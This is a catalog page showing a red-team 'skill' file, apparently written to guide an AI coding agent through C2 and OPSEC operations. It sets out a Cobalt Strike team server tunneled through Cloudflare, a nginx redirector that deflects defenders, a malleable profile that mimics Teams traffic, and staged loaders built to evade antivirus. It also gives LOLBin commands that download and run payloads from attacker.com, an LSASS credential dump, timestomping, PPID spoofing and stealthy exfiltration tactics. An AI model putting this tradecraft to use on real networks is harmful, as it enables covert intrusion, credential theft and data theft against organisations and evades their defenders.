advanced-redteam
Skill401 starsChanged 54 days agoMITView on GitHub
Rule: Team server ONLY binds to localhost. NEVER bind to 0.0.0.0 or external interface. Benefits: - Team server never exposed to internet scanning (Shodan, Censys) - Cloudflare/CDN provides high-reputation front - Easy to rotate infrastructure — just change tunnel endpoint NEVER use default profiles — always customize: Profile Tips: - Clone real traffic (Teams, Slack, O365, Azure API) - Match URIs, headers, User-Agents exactly - Use valid TLS certificates (Let's Encrypt or purchased)
1 other project uses a version of this, 1 of them edited.
Adopted by
Most recently taken up by
- jessefmoore/offensive-claude-codeedited, first seen May 23, 2026
Other versions1 project uses a version of this.
Word for word · 0
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Edited · 1
- jessefmoore/offensive-claude-code★ 298% same
Wrote their own version · 0
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How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository38 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- active-directory-attackSkill
- ai-agent-redteamSkill
- ai-securitySkill
- browser-exploitationSkill
- cicd-supply-chainSkill
- cloud-securitySkill
- coding-masterySkill
- container-k8s-escapeSkill
- crypto-analysisSkill
- edr-evasionSkill
- engagement-flowSkill
- engagement-memorySkill
- exploit-developmentSkill
- finding-disciplineSkill
- incident-responseSkill
- initial-accessSkill
- keylogger-archSkill
- malware-analysisSkill
- mobile-pentestSkill
- network-attackSkill
- opsec-disciplineSkill
- privesc-linuxSkill
- privesc-windowsSkill
- recon-osintSkill
- red-team-opsSkill
- reverse-engineeringSkill
- scope-disciplineSkill
- shellcode-devSkill
- threat-huntingSkill
- threat-model-disciplineSkill
- using-offensive-claudeSkill
- vulnerability-analysisSkill
- web-pentestSkill
- windows-boundariesSkill
- windows-mitigations-bypassSkill
- wireless-rfSkill
- writing-offensive-skillsSkill
The file
We split this skill into the rules it gives an agent
8 rules. About 0 are common, 8 are distinctive, and 0 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈8
Distinctive · estimate
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 141
Use valid TLS certificates (Let's Encrypt or purchased)
- Distinctive: line 142
If behind Cloudflare tunnel, TLS terminates there — self-signed OK
- Distinctive: line 167
Advanced: Use different C2 frameworks per tier (e.g., lightweight custom implant for Tier 3, Cobalt Strike for Tier 2).
- Distinctive: line 235
Jitter and sleep: NEVER 0 sleep. Use high jitter (e.g., sleep 60s, jitter 37%) to avoid predictable intervals
- Distinctive: line 236
Kill dates: Always set on beacons (auto-destruct after engagement window)
- Distinctive: line 273
Never reuse burned infrastructure
- Distinctive: line 296
Use: in-memory execution, sleep-masked, or alternative methods
- Distinctive: line 303
Prefer WinRM if you have credentials (blends with admin traffic)
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: phase: [c2, actions] step: [6, 7] attck_tactics: [TA0011, TA0008, TA0010] depends_on: [edr-evasion, exploit-development, red-team-ops] feeds_into: [threat-hunting] inputs: [c2_framework, redirector_config] outputs: [c2_infrastructure, opsec_report, exfil_channel]
Advanced Red Team Operations
When to Activate
- Planning advanced red team engagements - Designing C2 infrastructure with OPSEC - Understanding APT TTPs and operational security - Long-term persistent access scenarios
C2 Infrastructure Design
Redirectors (Never Expose Team Server Directly)
Rule: Team server ONLY binds to localhost. NEVER bind to 0.0.0.0 or external interface.
# Cobalt Strike team server (bind locally)
./TeamServerImage -Dcobaltstrike.server_port=50050 \
-Dcobaltstrike.server_bindto=127.0.0.1 \
-Djavax.net.ssl.keyStore=./cobaltstrike.store \
teamserver 127.0.0.1 <password>
# Tunnel via websocat (CStrike uses raw TCP, smuggle in WebSocket)
websocat -E -b ws-l:127.0.0.1:40000 tcp:127.0.0.1:50050 &
# Cloudflare tunnel (or ngrok)
cloudflared tunnel --url http://127.0.0.1:40000 --no-autoupdate
# Or: named tunnel via Zero Trust → point to domain + UUID path
# On operator machine:
websocat -E -b tcp-l:127.0.0.1:2222 ws://mytunnel.domain.com/<uuid> &
# Connect CStrike client to 127.0.0.1:2222Benefits: - Team server never exposed to internet scanning (Shodan, Censys) - Cloudflare/CDN provides high-reputation front - Easy to rotate infrastructure — just change tunnel endpoint
Smart Redirectors (Filter Blue Team)
# Nginx redirector with filtering
server {
listen 443 ssl;
server_name legit-looking.com;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# Only forward traffic matching Malleable C2 profile
location /api/v2/session {
# Check custom header (beacon identifier)
if ($http_x_session_id != "valid-beacon-id") {
return 301 https://microsoft.com$request_uri;
}
# Check User-Agent matches profile
if ($http_user_agent !~* "Mozilla/5.0.*Teams") {
return 301 https://microsoft.com$request_uri;
}
# Forward to team server
proxy_pass https://127.0.0.1:8443;
proxy_ssl_verify off;
}
# Deflect all other traffic to legitimate site
location / {
return 301 https://microsoft.com$request_uri;
}
}Malleable C2 Profiles
NEVER use default profiles — always customize:
# Disable staging (unless absolutely necessary)
set host_stage "false";
# Memory obfuscation
set sleep_mask "true"; # Encrypt heap while sleeping
set obfuscate "true"; # Avoid generic memory signatures
# Mimic legitimate traffic (Microsoft Teams example)
http-get {
set uri "/api/v2/users/presence";
client {
header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Teams/1.5.00.32283";
header "Accept" "application/json";
metadata {
base64url;
prepend "session_id=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
header "Server" "Microsoft-IIS/10.0";
output {
base64url;
prepend "{\"status\":\"available\",\"data\":\"";
append "\"}";
print;
}
}
}
# Certificate OPSEC
https-certificate {
set keystore "legitimate-cert.store";
set password "password";
}Profile Tips: - Clone real traffic (Teams, Slack, O365, Azure API) - Match URIs, headers, User-Agents exactly - Use valid TLS certificates (Let's Encrypt or purchased) - If behind Cloudflare tunnel, TLS terminates there — self-signed OK
Infrastructure Segregation (Tiered Approach)
Tier 1: Phishing/Delivery (High-reputation, short-lived)
├── Purpose: Get initial payload to target
├── Lifespan: 1-2 weeks (burn after phishing campaign)
├── Domain: Aged 2+ weeks, legitimate category, SPF/DKIM/DMARC
└── Once flagged → burned, move to Tier 2
Tier 2: Interactive C2 (Short-haul, active operations)
├── Purpose: Hands-on-keyboard work
├── Lifespan: Duration of active engagement
├── Protocol: HTTP/S, high bandwidth
└── Higher detection risk due to frequent traffic
Tier 3: Long-haul C2 (Persistence, backup)
├── Purpose: Respawn Tier 2 access if burned
├── Lifespan: Months (low and slow)
├── Protocol: DNS, ICMP, or other covert channel
├── Beacon: Once per day/week
└── NEVER run active commands through this tierAdvanced: Use different C2 frameworks per tier (e.g., lightweight custom implant for Tier 3, Cobalt Strike for Tier 2).
Staged Payload Architecture
Stage 0: Loader (<30KB, FUD)
├── Format: NOT .exe (use .dll sideload, .hta, .lnk+script, ISO container)
├── Job: Download/extract/inject Stage 1 ONLY
├── Must bypass: Email gateway + endpoint AV
└── Self-contained, no external dependencies
Stage 1: Minimal Implant (Lightweight C2)
├── Commands: ls, whoami, pwd, download, upload, execute (5-6 total)
├── Persistence: Registry, scheduled task
├── FUD: May touch disk
├── Purpose: Recon and deploy Stage 2 after assessment
└── Redundancy: Multiple protocols (HTTPS + DNS fallback)
Stage 2: Full C2 (Cobalt Strike, Sliver, Havoc)
├── Full post-exploitation capability
├── In-memory ONLY (never written to disk)
├── Deployed after: AV/EDR killed or strong foothold established
├── Replace Stage 1 persistence with Stage 2
└── Most signatured — only deploy when safeKey Principle: Attack for persistence, not command execution. Every stage should be redundant.
Living Off the Land (LOLBins)
# Download
certutil -urlcache -split -f http://attacker.com/payload.exe C:\temp\payload.exe
bitsadmin /transfer job /download /priority high http://attacker.com/payload.exe C:\temp\payload.exe
# Execution
rundll32 payload.dll,EntryPoint
mshta javascript:a=GetObject("script:http://attacker.com/payload.sct")
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll
wmic process call create "payload.exe"
# Lateral movement
wmic /node:TARGET process call create "cmd /c payload"
winrs -r:TARGET cmd
# Avoid: powershell.exe -Command [...], rundll32.exe, direct API calls
# Prefer: LOLBins, COM objects, WMIBlacklist TTPs (avoid for better OPSEC):
- powershell.exe -Command (heavily monitored)
- rundll32.exe with suspicious DLLs
- psexec (creates service installation artifacts — Event ID 7045)
- Direct mimikatz.exe to disk
Prefer: - WinRM over SMB service creation - In-memory Mimikatz via sleep-masked beacon - Alternative credential dumping (comsvcs.dll MiniDump, though also watched)
OPSEC Discipline
General Rules
- Encryption everywhere — even internal traffic (one breach exposed cleartext creds on local network) - Two beacon types: - Long-haul: DNS/covert, sleeps a lot, backup/persistence - Short-haul: HTTP/S, active operations - SMB listeners: Machines B, C, D relay traffic to machine A (short-haul beacon) — much stealthier - Jitter and sleep: NEVER 0 sleep. Use high jitter (e.g., sleep 60s, jitter 37%) to avoid predictable intervals - Kill dates: Always set on beacons (auto-destruct after engagement window) - Timestomping: Match creation/modification timestamps of legitimate files in same directory
C2 Traffic Filtering
- Dumb redirector: iptables/websocat forwarding → easily fingerprinted - Smart redirector: Nginx/Apache with rules: - Filter: Only forward if User-Agent + URI + custom header match profile - Deflect: Proxy pass to legitimate site (Microsoft, Amazon) if no match - Shodan/blue team scanners see legitimate site, not team server
PPID Spoofing
- Many EDRs flag suspicious parent-child relationships (winword.exe → powershell.exe)
- Malleable C2 profile: spawn processes from explorer.exe or other legitimate parents
- Most AVs stop tracking after 2 generations; EDRs: aim for 3 generations
Data Exfiltration
# Stealthy methods:
# - DNS tunneling (slow but blends in)
# - HTTPS to legitimate services (paste sites, cloud storage, GitHub)
# - Steganography (hide data in images/documents)
# - Chunked transfer over time (mimic normal traffic patterns)
# - Respect business hours (don't exfil at 3 AM)
# Know your target's stack:
# - If only Splunk + ClamAV → can be bold
# - If Crowdstrike + Splunk + SIEM → low and slow
# Example: 80GB exfil after hours via HTTP tunnel (cloudflared)
# Zipped files, Python HTTP server, tunneled through Cloudflare
# Worked because: no AV, only Splunk, after office hoursInfrastructure Rotation
- Rotate domains/IPs regularly - Separate infrastructure per engagement phase - Never reuse burned infrastructure - Monitor for blue team interaction (honeypots, scanners)
Advanced Techniques
Beacon Chaining (SMB Listeners)
Internet → Tier 2 Beacon (Machine A, HTTP/S)
↓
SMB Listener
↓
┌─────────┼─────────┐
↓ ↓ ↓
Machine B Machine C Machine D
(SMB) (SMB) (SMB)
# Only Machine A talks to internet
# B, C, D relay through A via named pipes
# Much stealthier — no direct internet connections from B, C, DCredential Harvesting OPSEC
- NEVER drop standard Mimikatz to disk
- Use: in-memory execution, sleep-masked, or alternative methods
- Alternative: dump LSASS via legitimate Microsoft binaries (comsvcs.dll)
- rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <lsass_pid> dump.bin full
- Note: heavily watched by EDRs now
Avoid "Easy" Built-ins
- psexec creates predictable service artifacts (Event ID 7045)
- Prefer WinRM if you have credentials (blends with admin traffic)
- BYOT (Bring Your Own Tools) carefully — don't drop standard compiled tools
Engagement Lifecycle
1. Phishing (Tier 1 infra) → Stage 0 loader
2. Stage 0 → downloads Stage 1 (minimal implant)
3. Stage 1 → recon, assess AV/EDR, establish persistence
4. Stage 1 → deploy Stage 2 (full C2) after assessment
5. Stage 2 → active operations, lateral movement
6. Tier 3 (long-haul) → backup persistence, respawn if Tier 2 burned
7. Data exfiltration → low and slow, blend with normal traffic
8. Cleanup → kill dates trigger, remove artifactsRemember: Goal is to attack for persistence, not just command execution. Build redundancy at every stage.
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